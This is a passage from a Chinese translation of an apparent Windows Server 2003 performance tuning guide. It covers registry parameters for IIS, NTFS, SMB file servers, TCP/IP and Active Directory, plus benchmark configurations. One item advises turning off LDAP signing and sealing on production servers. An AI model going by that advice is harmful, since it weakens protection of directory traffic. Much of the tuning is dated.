
StartupTimeLimit,DWORD,默认为90秒
控制工作进程的启动时间,超过此时间,则认为其发生了故障。

ShutdownTimeLimit,DWORD,默认为90秒
控制工作进程的关闭时间,超过了此时间,则认为其处于不响应状态。


 

安全套接字层的调整参数
安全套接字层(Secure Sockets Layer,SSL)的使用会加重CPU的负担。SSL中最为耗费资源的部分为建立会话所需的开销(包括一次完整的握手),然后是重新连接的开销和加密/解密的开销。为了获得更好的SSL性能,请执行如下操作:

· 启用SSL会话的“保持活动”(keep-alive)特性。这样可以消除建立会话所需的开销。

· 如果可能,重新使用会话(特别是对于那些没有“保持活动”的流量)。

· 注意:密钥越长,安全性就越高,但是需要的CPU时间就越多。

· 注意:并不是所有的页面组件都需要加密。但是,混合的纯文本HTTP和HTTPS可能会导致客户端浏览器弹出一个警告,告知并不是所有的页面内容都得到了保护。

ISAPI
对于ISAPI,没有任何具体的调整参数。如果编写一个私有的ISAPI扩展,请确保代码在执行和资源使用方面具有高效率。请参阅后文中的 影响IIS性能的其他问题。

托管代码调整参数
· 确信已经预先编译了所有的脚本。可以在每个目录中调用一个.NET脚本来完成这项工作。在编译完成之后,需要复位IIS。在修改了Machine.config、 Web.config或任何.aspx脚本之后需要重新编译。

· 如果不需要会话状态信息,请确信在每个页面中关闭了此项目。

· 当用户在隔离模式(每个站点一个应用程序池)下运行包含ASP.NET脚本的多个主机的时候,应该监视内存使用情况。请根据预计将要并发运行的应用程序池的数量,为IIS服务器配备足够的内存。考虑在存在多个隔离进程的地方使用多个应用程序域(app-domains)。

影响IIS性能的其他问题
· 安装没有缓存意识的过滤器。安装没有HTTP缓存意识的过滤器会导致IIS禁用全部缓存,从而造成性能急剧下降。老的ISAPI过滤器(在IIS 6.0之前编写的过滤器)可能会存在这个问题。可以使用HTTP缓存的过滤器在配置数据库中被标记为“具有缓存意识”的过滤器。

· CGI 请求。出于性能的考虑,我们不建议使用CGI应用程序处理请求。由于需要频繁创建(和删除)CGI进程,会产生大量的系统开销。更好的替代办法是使用ISAPI程序和ASP(或ASP.NET)脚本。这些方式都可以使用隔离。

NTFS 文件系统设置
HKLM\System\CurrentControlSet\Control\FileSystem\ 下的 NtfsDisableLastAccessUpdate (REG_DWORD)1。

通过禁止更新最后一次访问的文件或目录的日期和时间戳记,这个针对整个系统的开关参数会降低磁盘I/O负载和缩短延迟。默认情况下本键不存在,因此需要额外添加。如果操作包含数千个目录的大型数据集(或者大量主机),禁用更新的效果十分明显。如果只需要保留信息Web供Web管理使用,我们建议用户使用IIS日志代替它。

警告:某些应用程序(例如增量备份工具)需要使用这些更新信息,如果没有这些信息,它们将无法正常工作。

Tcpip.sys 的IIS性能设置
请参阅前文中的 网络性能调整。

IIS的网络适配器调整和绑定
· 确信所有网络适配器设置都为最佳状态。

· 将每一块网络适配器分别绑定到一颗CPU(具体方法取决于网络适配器的数量、CPU的数量以及每块网络适配器上的端口数量)。

请参阅前文中的网络性能调整。

文件服务器性能调整
一般考虑事项
为了满足预期的文件服务器负载,选择正确的硬件十分重要,在选择硬件时需要考虑平均负载、峰值负载、容量、成长规划以及响应时间。硬件瓶颈会使软件调整获得的性能提升大打折扣。

在选择硬件和设置操作系统时,需要考虑以下问题。

表11. 选择正确的硬件以提升性能

问题
建议

处理器的数量、类型和速度
· 大容量的 L2 处理器缓存能够提供更出色的性能。

· 两颗CPU的综合性能无法与单颗具有双倍速度(相对于上述两颗速度较慢的 CPU 而言)的 CPU 相媲美。

内存(RAM)的数量
如果计算机内存不足,而且需要立即添加更多内存,Windows Server 2003 使用硬盘空间模拟系统内存。这些内存被称作虚拟内存,也经常被称为分页文件。

· 尽力避免将分页文件与操作系统文件放在同一个驱动器上。

· 避免将分页文件放在容错驱动器上,例如镜像卷或者RAID-5卷。分页文件不需要容错,由于需要将数据写入到多个位置,某些容错系统的写入速度会因此变得非常慢。

· 不要将多个分页文件放在同一个物理硬盘驱动器的不同分区上。

网络适配器的数量、类型和速度
· 网络适配器不应该成为系统瓶颈。型号较新的网络适配器可以卸载某些服务器功能,从而提高系统性能。

· 确信所有网络适配器设置都是最优的。

· 将每块网络适配器分别绑定到一颗CPU(具体方法取决于网络适配器的数量、CPU的数量以及每块网络适配器上的端口数目)。

· 更多细节信息,请参阅前文中的网络性能调整。

磁盘控制器的类型、物理磁盘的数量以及它们的整体容量
· 文件服务器将频繁接收访问的文件放入缓存。但是,必须从磁盘上读取访问不频繁的文件。为了处理针对大批文件的大量请求所带来的庞大数据量,磁盘性能必须非常出色(连接大量磁盘的RAID控制器)。

· 将系统分页文件、操作系统以及数据尽可能放在不同的物理磁盘上。

· 确信分配单元大小与卷的大小相匹配。


 

服务器消息块服务器模型
服务器消息块(Server Message Block,SMB)模型包括两个实体:客户端和服务器。

客户端通过重定向程序(Rdbss.sys和SMB 小型重定向程序Mrxsmb.sys)为服务器上所保存的文件接收请求。它通过TCP/IP,使用SMB协议发送请求。

服务器通过TCP/IP协议,从客户端接收多个请求,然后将请求发送到本地文件系统(Ntfs.sys),由它负责访问存储堆栈。



图 6  客户机-服务器通信的SMB模型

文件服务器的常规调整参数
下列注册表调整参数会影响文件服务器的性能。

PagedPoolSize
HKLM\System\CurrentControlSet\Control\SessionManager\MemoryManagement\ (REG_DWORD)

文件缓存空间和分页池空间共享系统虚拟地址中的一个公共区域。限制分页池可以得到更大的系统缓存,从而能够缓存更多的内容,实现更快的文件服务性能。

NtfsDisable8dot3NameCreation
HKLM\System\CurrentControlSet\Control\FileSystem\ (REG_DWORD)

默认值为 0。该参数用于确定 NTFS 是否为长文件名以及包含来自扩展字符集的文件名生成符合 8.3(DOS)命名协定的短文件名。如果该注册表项的值为 0,那么文件潜在可以有两个名称:用户指定的名称和 NTFS 生成的短名称。若用户指定的名称符合 8.3 命名协定,NTFS 则不再生成短名称。

修改该值不会更改文件的内容,但可以避免对文件创建短名称属性,并能更改 NTFS 显示和管理文件的方式。

Disablelastaccess
HKLM\System\CurrentControlSet\Control\FileSystem\. (REG_DWORD)

默认不创建该注册表项。

如果您有一个 NTFS 卷包含大量文件夹或文件,而且有一个程序依次对它们进行访问,那么用于生成Last Access Time(最后一次访问时间)更新的 I/O 带宽会占用 I/O 总带宽的很大比例。如要提高对文件夹或文件的访问速度,您可以将 disablelastaccess 设置为禁止更新 Last Access Time(最后一次访问时间)。在您使用了该命令并重新启动计算机之后,Last Access Time 将不再得到更新。如果您创建一个新文件,Last Access Time 则与 File Creation Time(文件创建时间)保持一致。

NumTcbTablePartitions
HKLM\system\CurrentControlSet\Services\Tcpip\Parameters\. (REG_DWORD)

默认创建该键。

该参数控制 TCB 表的分区数量。可以对 TCB 表进行分区,减少对其的争用,从而提高多处理器系统的可伸缩性。

TcpAckFrequency
注意:TcpAckFrequency 只能应用于 Windows Server 2003。 TcpAckFrequency 的推荐设置介于 TcpWindowSize 的值的三分之一和二分之一之间。

对于千兆网卡:

HKLM\system\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

对每个千兆网络适配器添加:

TcpAckFrequency (REG_DWORD) = 13(十进制)

注册表默认不包含该项。如果仅确认数据而不是针对所有的控制数据包,那么每 13 个数据包仅确认一次,而不是默认的两次。这样,在从客户端向服务器执行大量写入(上载)操作时,有助于降低网络堆栈(Network Stack)的数据包处理开销。

对于 FastEthernet 网卡:

HKLM\system\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

对每个 FastEthernet 网络适配器添加:

TcpAckFrequency (REG_DWORD) = 5(十进制)

注册表默认不包含该项。如果仅确认数据而不是针对所有的控制数据包,那么每 5 个数据包仅确认一次,而不是默认的两次。这样,在从客户端向服务器执行大量写入(上载)操作时,有助于降低网络堆栈(Network Stack)的数据包处理开销。

中断关联
中断关联指在多处理器服务器上将中断操作从一个特定设备绑定到特定的处理器上。这将在所指定的处理器上强制运行 ISR 和 DPC 例行程序。由于网络连接和文件服务器话路均位于相同上网络适配器上,因此将中断操作从网络适配器绑定到处理器,可以在一组指定的处理器上处理传入的数据包(SMB 请求、数据),从而提高局部性和可伸缩性。您无法在单处理器计算机上配置中断关联。

中断关联筛选器(Interrupt-Affinity Filter,IntFiltr)工具允许您更改系统中 CPU 的中断关联。

使用该实用程序,您可以将任何设备的中断操作指向一个特定的处理器或一组处理器(避免总是对系统中所有的 CPU 发送中断请求)。注意:不同的设备可以有不同的中断关联设置。该实用程序可应用于任何运行 Windows Server 2003 的服务器,无论采用何种处理器或中断控制器。

客户端计算机的常规调整参数
DormantFileLimit 
HKLM\system\CurrentControlSet\Services\lanmanworkstation\parameters\ (REG_DWORD)

默认不创建该注册表键。(仅针对 Windows XP 客户端计算机。)

指定在应用程序关闭文件后可以通过共享打开的最大文件数。

ScavengerTimeLimit
HKLM\system\CurrentControlSet\Services\lanmanworkstation\parameters\ (REG_DWORD)

Windows XP client computers only.

重定向器在开始清除休眠文件句柄(当前无法被任何应用程序所用的已缓存的文件句柄)之前所等待的时间(秒)。

DisableByteRangeLockingOnReadOnlyFiles
HKLM\System\CurrentControlSet\Services\LanmanWorkStation\Parameters\ (REG_DWORD)

仅针对 Windows XP 客户端计算机。

一些分布式应用程序会在对各个客户端进行同步时锁定某个只读文件的部分内容,它们要求关闭所有只读文件的文件句柄缓存和折叠(collapsing)功能。如果不在系统上运行这类应用程序,并且在客户端计算机上启用了折叠功能,那么就可以设定该参数。

TcpAckFrequency
注意:TcpAckFrequency 只能应用于 Windows XP 客户端。TcpAckFrequency的推荐设置介于 TcpWindowSize 的值的三分之一和二分之一之间。

对于Gigabit网卡:

HKLM\system\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

对Gigabit适配器添加:

TcpAckFrequency (REG_DWORD) = 13(十进制)

注册表默认不包含该项。

如果仅确认数据而不是针对所有的控制数据包,那么每 13 个数据包仅确认一次,而不是默认的两次。这样,在从客户端向服务器执行大量写入(上载)操作时,有助于降低网络堆栈(Network Stack)的数据包处理开销。

对于 FastEthernet 网卡:

HKLM\system\CurrentControlSet\Services\Tcpip\Parameters\Interfaces

对每个 FastEthernet 适配器添加:

TcpAckFrequency (REG_DWORD) = 5(十进制)

注册表默认不包含该项。如果仅确认数据而不是针对所有的控制数据包,那么每 5 个数据包仅确认一次,而不是默认的两次。这样,在从客户端向服务器执行大量写入(上载)操作时,有助于降低网络堆栈(Network Stack)的数据包处理开销 。

Active Directory的性能调整
大型 Active Directory® 环境只有少数几个特殊的调整要求。

对 Boot.ini 文件使用 /3GB 开关参数
在服务器计算机上,大容量内存有助于减少磁盘 I/O 活动。使用 /3GB 开关参数,可以为 x86 服务器提供更多用户模式虚拟空间,并且改善Active Directory 的缓存。

Windows 2000 包含两种设置:

· 运用 /3GB 开关参数,主 Active Directory 缓存的最大容量可达1024MB。

· 不运用/3GB开关参数,主 Active Directory 缓存的容量仅被限制为512MB。

对于 Windows Server 2003,Active Directory 缓存可更自由地增长,但是大小受虚拟地址空间的限制。

关闭签名和密封功能
运行附带Service Pack 1(SP1)的 Windows XP 或更高版本的客户端计算机以及运行 Windows Server 2003 的服务器具备签名和密封功能以实现更高的安全性,而且这些功能在默认情况下为启用状态。默认状态下,Windows 2000 客户端并未启用签名和密封功能,但是安装了Service Pack 3(SP3)的 Windows 2000 提供了一个选项来启用该功能。具有安全网络的生产环境不需要启用该设置。Windows Server 2003 操作系统家族提供了一个用于禁用签名和密封功能的选项。您可以在此找到该设置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ldap\ ldapclientintegrity = REG_DWORD 0x0

针对 Web 工作负载执行基准测试(WebBench)
考虑使用以下原则对 Web 工作负载执行基准测试

· 将 IIS 服务器以及其它相关计算机从企业网络流量中隔离出来。

· 允许通过充足的预热时间获得稳定的状态。

· 同步客户端时钟和 IIS 服务器时钟以确保正确测试基于时间的请求。

· 为了实现最佳性能,在 IIS 的管理用户界面(Admin UI)中,关闭所有回收、性能和电源选项,除非您遇到紧急情况而这些选项能帮上忙。更多信息,新参见本文前面的“IIS 6.0性能调整”一节。

· 如果使用 SSL,则选择一个合理且一致的键容量。

WebBench 4.1 提供了测量 Web 服务器性能的方法。WebBench 使用客户端计算机模拟 Web 浏览器。但是,不同于真正的浏览器,客户端不显示服务器通过响应其请求所发送的文件。相反,当客户端接收到服务器的响应时,随即记录与该响应相关联的信息,接着马上向服务器发送另一个请求。

下面三个表格列出了高端和低端服务器设置以及客户端计算机调整参数。

表 12. 高端服务器设置

类型
设置

IIS 设置
·  注册表(位于:HKLM\System\CurrentControlSet/Services\Inetinfo\Parameters\)

· MaxCachedFileSize (REG_DWORD) 1048576

· IIS Metabase(位于:W3SVC/)

· 通过设定 CentralBinaryLoggingEnabled = TRUE,启用集中记录的二进制日志文件

· SSL 调整参数:键容量为 1024 字节。如要进行富有挑战性的基准测试,可对所有服务器使用相同的键容量。

Http.sys 设置
· 注册表(位于:HKLM\System\CurrentControlSet/Services\HTTP\Parameters\)

UriMaxUriBytes (REG_DWORD) 1048576 (最大的文件)。

NTFS 文件系统设置
· 注册表(位于:HKLM\System\CurrentControlSet\Control\FileSystem\)

NtfsDisableLastAccessUpdate (REG_DWORD) 1

针对 IIS 的 TCPIP.SYS 性能设置
· 注册表(位于:HKLM\System\CurrentControlSet\Services\tcpip\parameters\)

MaxHashTableSize (REG_DWORD) 0xffff

请参见本文前面的“网络性能调整”一节。

针对 IIS 的网络适配器调整与绑定
· 每个网络适配器均绑定一颗 CPU。

请参见本文前面的“网络性能调整”一节。


 

低端服务器设置的特点如下:

· 单处理器、单网络适配器。

· 有限的物理内存——至少 256 MB;通常为 512 MB 的 RAM。

· 需执行分页操作。

· 对于大批 ASP 文件和严重耗费内存的动态内容,建议不要使用该服务器设置。

表 13. 低端服务器设置

类型
设置

IIS 设置
· 注册表(位于:HKLM\System\CurrentControlSet/Services\Inetinfo\Parameters\)

MaxCachedFileSize (REG_DWORD) 1048576

MemCacheSize (REG_DWORD) 10

· IIS Metabase(位于:W3SVC/)

通过设定 CentralBinaryLoggingEnabled = TRUE,使用集中保存的二进制日志文件

Http.sys 设置
· 注册表(位于:HKLM\System\CurrentControlSet\Services\http\parameters\)

UriMaxUriBytes (REG_DWORD) 1048576

RequestBufferLookasideDepth (REG_DWORD) 256

InternalRequestLookasideDepth (REG_DWORD) 256

LargeMemMegabytes (REG_DWORD) 150

NTFS 文件系统设置
· 注册表(位于:HKLM\System\CurrentControlSet\Control\FileSystem\)

NtfsDisableLastAccessUpdate (REG_DWORD) 1


 

表 14. 客户端计算机调整参数

类型
设置

我的计算机性能设置
· 针对程序优化处理器调度

· 针对程序优化内存应用

针对 IIS 的 TCPIP.SYS 性能设置
· 注册表(位于:HKLM\System\CurrentControlSet\Services\tcpip\parameters\)

MaxUserPort (REG_DWORD) 0xfffe

MaxHashTableSize (REG_DWORD) 0xffff

TcpWindowSize (REG_DWORD) 65536(在配备 100 BaseT Ethernet 网络适配器的客户端上修改注册表)

请参见本文前面的“网络性能调整”一节。


 

针对文件服务器工作负载执行基准测试(NetBench)
NetBench 7.02 是 eTesting Labs 的基准测试程序,允许您测量文件服务器处理客户端网络文件请求的性能。NetBench 可以为您提供服务器 I/O 吞吐量的总得分、平均响应时间以及各台客户端计算机的单独得分。您可以使用这些测试分数衡量、分析和预测服务器处理客户端请求的能力。在各项测试间通常要对数据卷进行格式化,以便清空工作区,确保以全新状态开始测试工作。如要提高性能和伸缩性,建议把客户端数据分散在多个数据卷上。

Windows Server 2003面向 NetBench 的注册表调整参数


设置

HKLM\System\CurrentControlSet\Control\SessionManager\
MemoryManagement\
PagedPoolSize = 192000000(十进制)(默认为0)

HKLM\System\CurrentControlSet\Control\FileSystem\
NtfsDisable8dot3NameCreation = 1(默认为0)

添加:Disablelastaccess = 1

默认不创建该注册表键。

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\
添加:NumTcbTablePartitions = 8

默认不创建该注册表键。

HKLM\System\CurrentControlSet\Services\Tcpip\Parameters\
Interfaces\
对每个Gigabit网络适配器添加:TcpAckFrequency (REG_DWORD) = 13(十进制) 。

默认不创建该注册表键。对于 FastEthernet 适配器,将该参数为 5。


 

客户端计算机针对 NetBench 的注册表调整参数


设置

HKLM\System\CurrentControlSet\
Services\LanmanWorkStation\
Parameters\
DisableByteRangeLockingOnReadOnlyFiles = 1;
针对 Windows XP 客户端计算机

HKLM\system\CurrentControlSet\
Services\Tcpip\Parameters\
Interfaces\
对每个Gigabit网络适配器添加:
TcpAckFrequency = 13(十进制)。

默认为不创建该注册表键。对于 FastEthernet 适配器,将该参数设为 5。

HKLM\system\CurrentControlSet\
Services\lanmanworkstation\
parameters\
添加 DormantFileLimit = 100(十进制)。

默认不创建该注册表键;针对 Windows XP 客户端计算机。

HKLM\System\CurrentControlSet
\Services\lanmanworkstation\
parameters\
ScavengerTimeLimit = 100(十进制);针对 Windows XP 客户端计算机。


 

针对Active Directory工作负载执行基准测试(DirectoryMark)
下列调整对于执行DirectoryMark 工作负载基准测试很有帮助。最好从一台强大的客户机上执行对大型服务器的 DirectoryMark 测试。这样,操作人员可以启动大量线程,同时还能接收中央数据报告。该设置需要一块Gigabit网络适配器以及性能大致相当的客户机和服务器,同时服务器至少拥有 2 GB 的内存。

添加针对描述属性的索引(服务器)
使用架构编辑器添加一个针对描述属性的索引,后者用于DirectoryMark Addressing 和 Messaging Search Mixes。

关闭磁盘碎片自动整理程序
在服务器启动 15 分钟后,磁盘碎片自动整理程序(Auto Defragmenter)随即启动。该程序将运行一个小时,以后每12个小时重新启动一次。基准测试要求测试结果可重复,因此建议关闭磁盘碎片自动整理程序,以便避免对正在运行的基准测试造成任何可能的干扰。如果已启用磁盘碎片自动整理程序,那么可以在事件日志中查看磁盘碎片整理程序的运行情况。

下方注册表参数用于关闭磁盘碎片自动整理程序:

HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\DSA Heuristics = REG_SZ 000001

在 TCP/IP 增加 MaxUserPorts 和 TcpWindowSize
频繁使用 LDAP 绑定需要广泛运用动态端口。在服务器和客户端计算机上,需要通过 TCP 保持这些端口开启几分钟,因此需要超出实际用量的可用 MaxUserPorts 端口。

可以调整下列注册表参数:

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort = REG_DWORD 0xfffe

HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\TcpWindowSize = REG_DWORD 0xffff

 

针对网络工作负载执行基准测试(Ttcp、Chariot)
针对 NTttcp 的调整
NTttcp 是一个面向 Windows 和基于 Winsock 的 ttcp 端口,用于协助测量网络驱动程序在不同网络拓扑结构和硬件设置上的性能和吞吐量。NTttcp 向用户提供一个多线程的异步性能基准测试程序,可用来测量在现有网络设置上可取得的数据传输率。

选项:

· 单一线程应该能够提供最佳吞吐量。

· 仅在出现许多个客户端时,需要多个线程。

· 发布充足的用户接收缓冲区(使用“-a”选项),减少 TCP 复制。

· 不应该发布过多的用户接收缓冲区,因为在您需要使用其它缓冲区前,首批已发布的缓冲区将返回给您。

· 最好是将每组线程绑定给一个处理器(“-m”选项中的第二个分隔参数)。

· 每个线程均创建一个连接(监听)不同端口的套接字。

表 15. 针对 NTttcp 发送器和接收器的示范语法

语法
详细说明

针对发送器的示范语法

NTttcps –m 1,0,10.1.2.3 –a 2
· 单线程

· 绑定于CPU 0

· 连接到 IP 地址为 10.1.2.3 的计算机

· 发布两个重叠的发送缓冲区

· 默认的缓冲区容量:64 KB

· 默认的缓冲量:20 KB

针对接收器的示范语法

NTttcpr –m 1,0,10.1.2.3 –a 6 –t 1000
· 单线程

· 绑定于CPU 0

· 连接到 IP 地址为 10.1.2.3 的计算机

· 发布两个重叠的发送缓冲区

· 默认的缓冲区容量:64 KB

· 默认的缓冲量:20 KB


 

网络适配器
确认您已启用了所有卸载特性。

TCP
只有带宽-延迟乘积较大时,才可以针对Gigabit Ethernet(64 KB)为 TcpWindowSize 设定高于默认值的数值。

例如,在局域网上使用 Intel MT Gigabit 网卡时,可以针对 NTttcp 保留所有网络适配器和 TCP 设置的默认值。

· Intel MT 网络适配器默认卸载 LSO 及校验和(同时针对接收和发送)。

· Intel MT 网络适配器自行管理其资源,不需要您更改任何网络适配器资源值。

· 未应用Coalesce Buffers(合并缓冲区),但默认的中断调解模式运转良好。

针对Chariot 的调整
Chariot 是 NetIQ 的一个网络工作负载生成器,通过向网络施加负载来帮助用户预测网络应用程序的性能。

Chariot 的 High_Performance_Throughput 脚本工作负载可用来模拟 NTttcp 工作负载。有关该工作负载的调整考虑事项与 NTttcp 相同。

相关链接
请访问下列资源,了解更多信息:

· Windows Server 2003网站上的性能与伸缩性资源:http://www.microsoft.com/windowsserver2003/evaluation/performance/default.mspx。

 
分页: 7/15 第一页 上页 2 3 4 5 6 7 8 9 10 11 下页 最后页 [ 显示模式: 摘要 | 列表